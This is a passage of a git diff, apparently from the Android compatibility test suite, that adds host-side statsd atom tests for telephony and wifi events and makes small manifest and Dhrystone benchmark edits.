+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testSimSlotState() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.SIM_SLOT_STATE_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<AtomsProto.Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+        assertThat(data).isNotEmpty();
+        AtomsProto.SimSlotState atom = data.get(0).getSimSlotState();
+        // NOTE: it is possible for devices with telephony support to have no SIM at all
+        assertThat(atom.getActiveSlotCount()).isEqualTo(getActiveSimSlotCount());
+        assertThat(atom.getSimCount()).isAtMost(getActiveSimCountUpperBound());
+        assertThat(atom.getEsimCount()).isAtMost(getActiveEsimCountUpperBound());
+        // Above assertions do no necessarily enforce the following, since some are upper bounds
+        assertThat(atom.getActiveSlotCount()).isAtLeast(atom.getSimCount());
+        assertThat(atom.getSimCount()).isAtLeast(atom.getEsimCount());
+        assertThat(atom.getEsimCount()).isAtLeast(0);
+        // For GSM phones, at least one slot should be active even if there is no card
+        if (hasGsmPhone()) {
+            assertThat(atom.getActiveSlotCount()).isAtLeast(1);
+        }
+    }
+
+    public void testSupportedRadioAccessFamily() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.SUPPORTED_RADIO_ACCESS_FAMILY_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<AtomsProto.Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+        assertThat(data).isNotEmpty();
+        AtomsProto.SupportedRadioAccessFamily atom = data.get(0).getSupportedRadioAccessFamily();
+        if (hasGsmPhone()) {
+            assertThat(atom.getNetworkTypeBitmask() & NETWORK_TYPE_BITMASK_GSM_ALL)
+                    .isNotEqualTo(0L);
+        }
+        if (hasCdmaPhone()) {
+            assertThat(atom.getNetworkTypeBitmask() & NETWORK_TYPE_BITMASK_CDMA_ALL)
+                    .isNotEqualTo(0L);
+        }
+    }
+
+    public void testCarrierIdTableVersion() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        int expectedVersion = getCarrierIdTableVersion();
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.CARRIER_ID_TABLE_VERSION_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<AtomsProto.Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+        assertThat(data).isNotEmpty();
+        AtomsProto.CarrierIdTableVersion atom = data.get(0).getCarrierIdTableVersion();
+        assertThat(atom.getTableVersion()).isEqualTo(expectedVersion);
+    }
+
+    public void testAirplaneModeEvent_shortToggle() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.AIRPLANE_MODE_FIELD_NUMBER);
+
+        turnOnAirplaneMode();
+        // wait long enough for airplane mode events to propagate, but less than threshold for
+        // long toggle.
+        Thread.sleep(1_200);
+        turnOffAirplaneMode();
+        // wait long enough for airplane mode events to propagate.
+        Thread.sleep(1_200);
+
+        // Verify that we have at least one atom for enablement and one for disablement.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomsProto.AirplaneMode airplaneModeEnabledAtom = null;
+        AtomsProto.AirplaneMode airplaneModeDisabledAtom = null;
+        for (EventMetricData d : data) {
+            AtomsProto.AirplaneMode atom = d.getAtom().getAirplaneMode();
+            if (atom.getIsEnabled() && airplaneModeEnabledAtom == null) {
+                airplaneModeEnabledAtom = atom;
+            }
+            if (!atom.getIsEnabled() && airplaneModeDisabledAtom == null) {
+                airplaneModeDisabledAtom = atom;
+            }
+        }
+        assertThat(airplaneModeEnabledAtom).isNotNull();
+        assertThat(airplaneModeDisabledAtom).isNotNull();
+        assertThat(airplaneModeDisabledAtom.getShortToggle()).isTrue();
+    }
+
+    public void testAirplaneModeEvent_longToggle() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.AIRPLANE_MODE_FIELD_NUMBER);
+
+        turnOnAirplaneMode();
+        // wait long enough for long airplane mode toggle (10 seconds).
+        Thread.sleep(12_000);
+        turnOffAirplaneMode();
+        // wait long enough for airplane mode events to propagate.
+        Thread.sleep(1_200);
+
+        // Verify that we have at least one atom for enablement and one for disablement.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AtomsProto.AirplaneMode airplaneModeEnabledAtom = null;
+        AtomsProto.AirplaneMode airplaneModeDisabledAtom = null;
+        for (EventMetricData d : data) {
+            AtomsProto.AirplaneMode atom = d.getAtom().getAirplaneMode();
+            if (atom.getIsEnabled() && airplaneModeEnabledAtom == null) {
+                airplaneModeEnabledAtom = atom;
+            }
+            if (!atom.getIsEnabled() && airplaneModeDisabledAtom == null) {
+                airplaneModeDisabledAtom = atom;
+            }
+        }
+        assertThat(airplaneModeEnabledAtom).isNotNull();
+        assertThat(airplaneModeDisabledAtom).isNotNull();
+        assertThat(airplaneModeDisabledAtom.getShortToggle()).isFalse();
+    }
+
+    public void testModemRestart() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.MODEM_RESTART_FIELD_NUMBER);
+
+        // Restart modem. If the command fails, exit the test case.
+        boolean restart = restartModem();
+        if (!restart) {
+            return;
+        }
+
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // Verify that we have at least one atom for modem restart
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data).isNotEmpty();
+    }
+
+    private boolean hasGsmPhone() throws Exception {
+        // Not using log entries or ServiceState in the dump since they may or may not be present,
+        // which can make the test flaky
+        return getTelephonyDumpEntries("Phone").stream()
+                .anyMatch(phone ->
+                        String.format("%d", PHONE_TYPE_GSM).equals(phone.get("getPhoneType()")));
+    }
+
+    private boolean hasCdmaPhone() throws Exception {
+        // Not using log entries or ServiceState in the dump due to the same reason as hasGsmPhone()
+        return getTelephonyDumpEntries("Phone").stream()
+                .anyMatch(phone ->
+                        String.format("%d", PHONE_TYPE_CDMA).equals(phone.get("getPhoneType()"))
+                                || String.format("%d", PHONE_TYPE_CDMA_LTE)
+                                .equals(phone.get("getPhoneType()")));
+    }
+
+    private int getActiveSimSlotCount() throws Exception {
+        List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
+        long count = slots.stream().filter(slot -> "true".equals(slot.get("mActive"))).count();
+        return Math.toIntExact(count);
+    }
+
+    /**
+     * Returns the upper bound of active SIM profile count.
+     *
+     * <p>The value is an upper bound as eSIMs without profiles are also counted in.
+     */
+    private int getActiveSimCountUpperBound() throws Exception {
+        List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
+        long count = slots.stream().filter(slot ->
+                "true".equals(slot.get("mActive"))
+                        && "CARDSTATE_PRESENT".equals(slot.get("mCardState"))).count();
+        return Math.toIntExact(count);
+    }
+
+    /**
+     * Returns the upper bound of active eSIM profile count.
+     *
+     * <p>The value is an upper bound as eSIMs without profiles are also counted in.
+     */
+    private int getActiveEsimCountUpperBound() throws Exception {
+        List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
+        long count = slots.stream().filter(slot ->
+                "true".equals(slot.get("mActive"))
+                        && "CARDSTATE_PRESENT".equals(slot.get("mCardState"))
+                        && "true".equals(slot.get("mIsEuicc"))).count();
+        return Math.toIntExact(count);
+    }
+
+    private Queue<String> getTelephonyDumpEntries() throws Exception {
+        String response =
+                getDevice().executeShellCommand("dumpsys activity service TelephonyDebugService");
+        return new LinkedList<>(Arrays.asList(response.split("[\\r\\n]+")));
+    }
+
+    /**
+     * Returns a list of fields and values for {@code className} from {@link TelephonyDebugService}
+     * output.
+     *
+     * <p>Telephony dumpsys output does not support proto at the moment. This method provides
+     * limited support for parsing its output. Specifically, it does not support arrays or
+     * multi-line values.
+     */
+    private List<Map<String, String>> getTelephonyDumpEntries(String className) throws Exception {
+        // Matches any line with indentation, except for lines with only spaces
+        Pattern indentPattern = Pattern.compile("^(\\s*)[^ ].*$");
+        // Matches pattern for class, e.g. "    Phone:"
+        Pattern classNamePattern = Pattern.compile("^(\\s*)" + Pattern.quote(className) + ":.*$");
+        // Matches pattern for key-value pairs, e.g. "     mPhoneId=1"
+        Pattern keyValuePattern = Pattern.compile("^(\\s*)([a-zA-Z]+[a-zA-Z0-9_]*)\\=(.+)$");
+        Queue<String> responseLines = getTelephonyDumpEntries();
+
+        List<Map<String, String>> results = new ArrayList<>();
+        while (responseLines.peek() != null) {
+            Matcher matcher = classNamePattern.matcher(responseLines.poll());
+            if (matcher.matches()) {
+                final int classIndentLevel = matcher.group(1).length();
+                final Map<String, String> instanceEntries = new HashMap<>();
+                while (responseLines.peek() != null) {
+                    // Skip blank lines
+                    matcher = indentPattern.matcher(responseLines.peek());
+                    if (responseLines.peek().length() == 0 || !matcher.matches()) {
+                        responseLines.poll();
+                        continue;
+                    }
+                    // Finish (without consuming the line) if already parsed past this instance
+                    final int indentLevel = matcher.group(1).length();
+                    if (indentLevel <= classIndentLevel) {
+                        break;
+                    }
+                    // Parse key-value pair if it belongs to the instance directly
+                    matcher = keyValuePattern.matcher(responseLines.poll());
+                    if (indentLevel == classIndentLevel + 1 && matcher.matches()) {
+                        instanceEntries.put(matcher.group(2), matcher.group(3));
+                    }
+                }
+                results.add(instanceEntries);
+            }
+        }
+        return results;
+    }
+
+    private int getCarrierIdTableVersion() throws Exception {
+        Queue<String> responseLines = getTelephonyDumpEntries();
+        for (String line : responseLines) {
+            if (line.contains("carrier_list_version")) {
+                String version = line.replaceFirst("^\\s*carrier_list_version:\\s*", "");
+                try {
+                    return Integer.parseInt(version);
+                } catch (NumberFormatException e) {
+                    return 0;
+                }
+            }
+        }
+        return 0;
+    }
+
+    private void turnOnAirplaneMode() throws Exception {
+        getDevice().executeShellCommand("cmd connectivity airplane-mode enable");
+    }
+
+    private void turnOffAirplaneMode() throws Exception {
+        getDevice().executeShellCommand("cmd connectivity airplane-mode disable");
+    }
+
+    private boolean restartModem() throws Exception {
+        String response = getDevice().executeShellCommand("cmd phone restart-modem");
+        return response.contains("true");
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/OWNERS
new file mode 100644
index 0000000..6041c68
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/OWNERS
@@ -0,0 +1,4 @@
+# Owners of the WifiLockStateChanged atom
+patrikf@google.com
+saagarp@google.com
+stroshin@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java
new file mode 100644
index 0000000..927fb1d
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java
@@ -0,0 +1,259 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.wifi;
+
+import static android.cts.statsdatom.statsd.AtomTestCase.FEATURE_PC;
+import static android.cts.statsdatom.statsd.AtomTestCase.FEATURE_WIFI;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+import android.net.wifi.WifiModeEnum;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.common.collect.Range;
+import com.google.protobuf.AbstractMessage;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+public class WifiStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testWifiLockHighPerf() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_PC)) return;
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.WIFI_LOCK_STATE_CHANGED_FIELD_NUMBER, true);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiLockHighPerf");
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        Set<Integer> lockOn = new HashSet<>(
+                Collections.singletonList(AtomsProto.WifiLockStateChanged.State.ON_VALUE));
+        Set<Integer> lockOff = new HashSet<>(
+                Collections.singletonList(AtomsProto.WifiLockStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(lockOn, lockOff);
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getWifiLockStateChanged().getState().getNumber());
+
+        for (StatsLog.EventMetricData event : data) {
+            assertThat(event.getAtom().getWifiLockStateChanged().getMode())
+                    .isEqualTo(WifiModeEnum.WIFI_MODE_FULL_HIGH_PERF);
+        }
+    }
+
+    public void testWifiLockLowLatency() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_PC)) return;
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.WIFI_LOCK_STATE_CHANGED_FIELD_NUMBER, true);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiLockLowLatency");
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        Set<Integer> lockOn = new HashSet<>(
+                Collections.singletonList(AtomsProto.WifiLockStateChanged.State.ON_VALUE));
+        Set<Integer> lockOff = new HashSet<>(
+                Collections.singletonList(AtomsProto.WifiLockStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(lockOn, lockOff);
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getWifiLockStateChanged().getState().getNumber());
+
+        for (StatsLog.EventMetricData event : data) {
+            assertThat(event.getAtom().getWifiLockStateChanged().getMode())
+                    .isEqualTo(WifiModeEnum.WIFI_MODE_FULL_LOW_LATENCY);
+        }
+    }
+
+    public void testWifiMulticastLock() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_PC)) return;
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.WIFI_MULTICAST_LOCK_STATE_CHANGED_FIELD_NUMBER, true);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiMulticastLock");
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        Set<Integer> lockOn = new HashSet<>(
+                Collections.singletonList(AtomsProto.WifiMulticastLockStateChanged.State.ON_VALUE));
+        Set<Integer> lockOff = new HashSet<>(
+                Collections.singletonList(
+                        AtomsProto.WifiMulticastLockStateChanged.State.OFF_VALUE));
+
+        final String EXPECTED_TAG = "StatsdCTSMulticastLock";
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(lockOn, lockOff);
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getWifiMulticastLockStateChanged().getState().getNumber());
+
+        for (StatsLog.EventMetricData event : data) {
+            String tag = event.getAtom().getWifiMulticastLockStateChanged().getTag();
+            assertThat(tag).isEqualTo(EXPECTED_TAG);
+        }
+    }
+
+    public void testWifiReconnect() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+
+        ConfigUtils.uploadConfigForPushedAtoms(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                new int[] {
+                        AtomsProto.Atom.WIFI_CONNECTION_RESULT_REPORTED_FIELD_NUMBER,
+                        AtomsProto.Atom.WIFI_DISCONNECT_REPORTED_FIELD_NUMBER
+                });
+
+        // This test on device checks if device is connected, and connects it if it is not;
+        // Afterwards, it disconnects from that network and connects back to it.
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiReconnect");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // If device had Wifi connected, we'll see two atoms: disconnect, connect.
+        // If it was not connected, we'll see three: connect, disconnect, connect.
+        // We're only interested in the disconnect-connect pair.
+        assertWithMessage(
+                "Expected disconnected and connected atoms, got: \n" +
+                        data.stream().map(AbstractMessage::toString).reduce((acc, i) -> acc + i)
+        ).that(data.size()).isIn(Range.closed(2, 3));
+
+        AtomsProto.WifiDisconnectReported a0 =
+                data.get(data.size() - 2).getAtom().getWifiDisconnectReported();
+        AtomsProto.WifiConnectionResultReported a1 =
+                data.get(data.size() - 1).getAtom().getWifiConnectionResultReported();
+
+        assertThat(a0).isNotNull();
+        assertThat(a1).isNotNull();
+
+        assertThat(a0.getConnectedDurationSeconds()).isGreaterThan(0);
+        int maxLinkSpeedMbps = 1_000_000; /* 640K ought to be enough for anybody. */
+        assertThat(a0.getLastLinkSpeed()).isIn(Range.open(0, maxLinkSpeedMbps));
+        assertThat(a0.getLastRssi()).isIn(Range.closed(-127, 0));
+
+        assertThat(a1.getConnectionResult()).isTrue();
+        assertThat(a1.getRssi()).isIn(Range.closed(-127, 0));
+        assertThat(a1.getConnectionAttemptDurationMillis()).isIn(
+                Range.open(0, WIFI_CONNECT_TIMEOUT_MILLIS));
+        assertThat(a1.getTrigger()).isEqualTo(
+                AtomsProto.WifiConnectionResultReported.Trigger.RECONNECT_SAME_NETWORK);
+        assertThat(a1.getNetworkUsed()).isTrue();
+    }
+
+    public void testWifiScanLogsScanAtoms() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.WIFI_SCAN_REPORTED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiScan");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data).hasSize(2);
+
+        AtomsProto.WifiScanReported a0 = data.get(0).getAtom().getWifiScanReported();
+        AtomsProto.WifiScanReported a1 = data.get(1).getAtom().getWifiScanReported();
+
+        for (AtomsProto.WifiScanReported a : new AtomsProto.WifiScanReported[]{a0, a1}) {
+            assertThat(a.getResult()).isEqualTo(AtomsProto.WifiScanReported.Result.RESULT_SUCCESS);
+            assertThat(a.getType()).isEqualTo(AtomsProto.WifiScanReported.Type.TYPE_SINGLE);
+            assertThat(a.getSource()).isEqualTo(
+                    AtomsProto.WifiScanReported.Source.SOURCE_OTHER_APP);
+            assertThat(a.getImportance()).isEqualTo(
+                    AtomsProto.WifiScanReported.Importance.IMPORTANCE_FOREGROUND_SERVICE);
+
+            assertThat(a.getScanDurationMillis()).isGreaterThan(0);
+        }
+    }
+
+    public void testWifiScanLogsStateChangedAtoms() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.WIFI_SCAN_STATE_CHANGED_FIELD_NUMBER,  true);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiScan");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        final int stateOn = AtomsProto.WifiScanStateChanged.State.ON_VALUE;
+        final int stateOff = AtomsProto.WifiScanStateChanged.State.OFF_VALUE;
+        final int minTimeDiffMillis = 250;
+        final int maxTimeDiffMillis = 60_000;
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data.size()).isIn(Range.closed(2, 4));
+        AtomTestUtils.assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMillis,
+                maxTimeDiffMillis);
+        AtomsProto.WifiScanStateChanged a0 = data.get(0).getAtom().getWifiScanStateChanged();
+        AtomsProto.WifiScanStateChanged a1 = data.get(1).getAtom().getWifiScanStateChanged();
+        assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
+        assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
+    }
+}
diff --git a/hostsidetests/sustainedperf/TEST_MAPPING b/hostsidetests/sustainedperf/TEST_MAPPING
new file mode 100644
index 0000000..b3f1cff
--- /dev/null
+++ b/hostsidetests/sustainedperf/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSustainedPerformanceHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/sustainedperf/app/AndroidManifest.xml b/hostsidetests/sustainedperf/app/AndroidManifest.xml
index eff4a7f..7ba4a2b 100755
--- a/hostsidetests/sustainedperf/app/AndroidManifest.xml
+++ b/hostsidetests/sustainedperf/app/AndroidManifest.xml
@@ -16,16 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.test.app">
+     package="android.test.app">
 
     <application>
-        <activity android:name=".DeviceTestActivity" >
+        <activity android:name=".DeviceTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/sustainedperf/dhrystone/dhry_1.c b/hostsidetests/sustainedperf/dhrystone/dhry_1.c
index 3682052..fe51acb 100644
--- a/hostsidetests/sustainedperf/dhrystone/dhry_1.c
+++ b/hostsidetests/sustainedperf/dhrystone/dhry_1.c
@@ -82,8 +82,8 @@
         Enumeration     Enum_Loc;
         Str_30          Str_1_Loc;
         Str_30          Str_2_Loc;
-  REG   int             Run_Index;
-  REG   int             Number_Of_Runs;
+  REG   long            Run_Index;
+  REG   long            Number_Of_Runs;
 
   /* Initializations */
 
@@ -103,8 +103,8 @@
         /* Arr_2_Glob [8][7] would have an undefined value.             */
         /* Warning: With 16-Bit processors and Number_Of_Runs > 32000,  */
         /* overflow may occur for this array element.                   */
-     int n;
-     scanf ("%d", &n);
+     long n;
+     scanf ("%ld", &n);
      Number_Of_Runs = n;
 
 
diff --git a/hostsidetests/sustainedperf/shadertoy_android/AndroidManifest.xml b/hostsidetests/sustainedperf/shadertoy_android/AndroidManifest.xml
index 77dee18..91cf3ed 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/AndroidManifest.xml
+++ b/hostsidetests/sustainedperf/shadertoy_android/AndroidManifest.xml
@@ -1,41 +1,41 @@
-<?xml version="1.0" encoding="utf-8"?>

-<!--

-/*

-**

-** Copyright 2009, The Android Open Source Project

-**

-** Licensed under the Apache License, Version 2.0 (the "License");

-** you may not use this file except in compliance with the License.

-** You may obtain a copy of the License at

-**

-**     http://www.apache.org/licenses/LICENSE-2.0

-**

-** Unless required by applicable law or agreed to in writing, software

-** distributed under the License is distributed on an "AS IS" BASIS,

-** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

-** See the License for the specific language governing permissions and

-** limitations under the License.

-*/

--->

-

-<manifest xmlns:android="http://schemas.android.com/apk/res/android"

-    package="com.android.gputest">

-    <application

-            android:label="@string/gpustresstest_activity">

-        <activity android:name="GPUStressTestActivity"

-                android:theme="@android:style/Theme.NoTitleBar.Fullscreen"

-                android:launchMode="singleTask"

-                android:configChanges="orientation|keyboardHidden">

-            <intent-filter>

-                <action android:name="android.intent.action.MAIN" />

-                <category android:name="android.intent.category.LAUNCHER" />

-            </intent-filter>

-        </activity>

-    </application>

-    <uses-feature android:glEsVersion="0x00020000"/>

-    <uses-sdk android:minSdkVersion="5"/>

-    <uses-permission android:name="android.permission.INTERNET" />

-    <uses-permission android:name="com.qti.permission.PROFILER" />

-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>

-</manifest>

+<?xml version="1.0" encoding="utf-8"?>
+<!--
+/*
+**
+** Copyright 2009, The Android Open Source Project
+**
+** Licensed under the Apache License, Version 2.0 (the "License");
+** you may not use this file except in compliance with the License.
+** You may obtain a copy of the License at
+**
+**     http://www.apache.org/licenses/LICENSE-2.0
+**
+** Unless required by applicable law or agreed to in writing, software
+** distributed under the License is distributed on an "AS IS" BASIS,
+** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+** See the License for the specific language governing permissions and
+** limitations under the License.
+*/
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.gputest">
+    <application android:label="@string/gpustresstest_activity">
+        <activity android:name="GPUStressTestActivity"
+             android:theme="@android:style/Theme.NoTitleBar.Fullscreen"
+             android:launchMode="singleTask"
+             android:configChanges="orientation|keyboardHidden"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+    <uses-feature android:glEsVersion="0x00020000"/>
+    <uses-sdk android:minSdkVersion="5"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="com.qti.permission.PROFILER"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+</manifest>
diff --git a/hostsidetests/systemui/Android.bp b/hostsidetests/systemui/Android.bp
index 748ac0a..6de52cd 100644
--- a/hostsidetests/systemui/Android.bp
